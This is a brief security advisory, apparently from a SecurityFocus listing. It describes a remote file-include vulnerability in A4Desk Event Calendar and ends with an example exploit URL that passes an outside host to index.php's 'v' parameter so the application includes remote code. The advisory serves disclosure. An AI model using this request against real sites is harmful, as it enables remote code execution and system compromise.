source: https://www.securityfocus.com/bid/31507/info

A4Desk Event Calendar is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/index.php?date=&v=http://www.example2.com